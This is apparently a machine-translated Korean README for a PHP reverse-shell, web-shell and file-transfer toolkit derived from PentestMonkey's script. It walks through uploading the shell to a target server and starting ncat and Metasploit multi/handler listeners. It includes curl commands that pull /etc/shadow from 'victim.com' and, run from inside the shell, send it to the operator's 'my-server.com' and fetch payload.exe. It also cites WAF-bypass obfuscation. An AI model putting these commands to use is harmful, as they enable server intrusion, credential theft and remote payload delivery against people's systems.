인기있는 PHP 리버스 쉘 스크립트 PentestMonkey/PHP-Reverse-Shell에서 약간의 새로 고침. 원래 저자에게 크레딧!
/bin/sh 및 cmd.exe 사용하여 Linux OS 및 MACOS에서 작동합니다. 스크립트는 기본 OS를 자동으로 감지합니다.
ncat 및 multi/handler 와 함께 작동합니다.
Kali Linux V2020.2 (64 비트)에서 PHP V7.3.19로 Linux V7.3.19 (64 비트)의 XAMPP에서 테스트.
MACOS Catalina V10.15.6 (64 비트)에서 PHP V7.4.10을 사용하여 OS X V7.4.10 (64 비트)의 XAMPP에서 테스트.
Windows 10 Enterprise OS (64 비트)에서 PHP V7.4.3을 사용하여 Windows V7.4.3 (64 비트)에 대해 XAMPP에서 테스트했습니다.
또한, PHP v4.4.0을 사용하여 Docker Images Nouphet/Docker-PHP4에서 모든 것을 테스트하고 PHP v5.2.17을 사용하여 Steeze/PHP52-NGINX에서 테스트했습니다.
교육 목적을 위해 만들어졌습니다. 도움이되기를 바랍니다!
Windows OS의 프로세스 파이프는 비동기 작업을 지원하지 않으므로 stream_set_blocking() , stream_select() 및 feof() 제대로 작동하지 않지만 해결 방법을 찾았습니다.
/src/reverse/php_reverse_shell.php에는 PHP v5.0.0 이상이 필요합니다.
/src/reverse/php_reverse_shell_older.php에는 php v4.3.0 이상이 필요합니다.
필요에 따라 스크립트 내부의 IP 주소와 포트 번호를 변경하십시오.
/src/reverse/php_reverse_shell.php를 서버의 웹 루트 디렉토리 (예 :/opt/lampp/htdocs/on xampp)로 복사하거나 대상 웹 서버에 업로드하십시오.
선호하는 웹 브라우저를 사용하여 파일로 이동하십시오.
HTTP 사후 요청을 기반으로 간단한 PHP 웹 쉘을 확인하십시오.
HTTP GET 요청에 따라 간단한 PHP 웹 쉘을 확인하십시오. 명령을 인코딩해야합니다.
HTTP GET 요청에 따라 간단한 PHP 웹 쉘 V2를 확인하십시오. 명령을 인코딩해야합니다.
LCATRO/PHP-WEBSHELL-BYPASS-WAF에서 이전 버전의 PHP에 대한 PHP 난독 화 기술에 대해 자세히 알아보십시오. 저자에게 크레딧!
파일 업로드에 대한 HTTP Post 요청 및 파일 다운로드 요청을 기반으로 간단한 PHP 파일 업로드/다운로드 스크립트를 확인하십시오.
파일을 다운로드 할 때 URL은 파일 경로를 인코딩하고 CURL을 사용하는 경우 출력 파일을 지정하는 것을 잊지 마십시오.
파일을 업로드 할 때 파일 경로 전에 @ 지정하는 것을 잊지 마십시오.
서버 구성에 따라 http get request 매개 변수를 통해 파일 다운로드가 항상 작동하지는 않지만 대신 스크립트의 파일 경로를 하드 코어해야합니다.
선호하는 웹 브라우저를 사용하여 피해자의 웹 서버의 스크립트로 이동하거나 PC의 Curl을 사용하십시오.
PC에서 파일을 서버의 웹 루트 디렉토리에 업로드하십시오.
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
서버에서 PC로 파일을 다운로드하십시오.
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
리버스 쉘 내에서 초기 권한을 높이면이 스크립트는 쉘과 동일한 권한이 없을 수 있습니다. 이 경우 특정 파일을 다운로드하려면 파일을 웹 루트 디렉토리에 복사하고 필요한 읽기 권한을 설정해야 할 수도 있습니다.
PHP 리버스 쉘에서 다음 컬 명령을 실행하십시오.
피해자의 PC에서 서버의 웹 루트 디렉토리에 파일을 업로드하십시오.
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
서버의 웹 루트 디렉토리에서 피해자의 PC로 파일을 다운로드하십시오.
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
리스너를 설정하려면 Kali Linux에서 선호하는 콘솔을 열고 아래 예제 중 하나를 실행하십시오.
ncat 리스너 설정 :
ncat -nvlp 9000
multi/handler 리스너 설정 :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

그림 1- NCAT

그림 2- 스크립트 덤프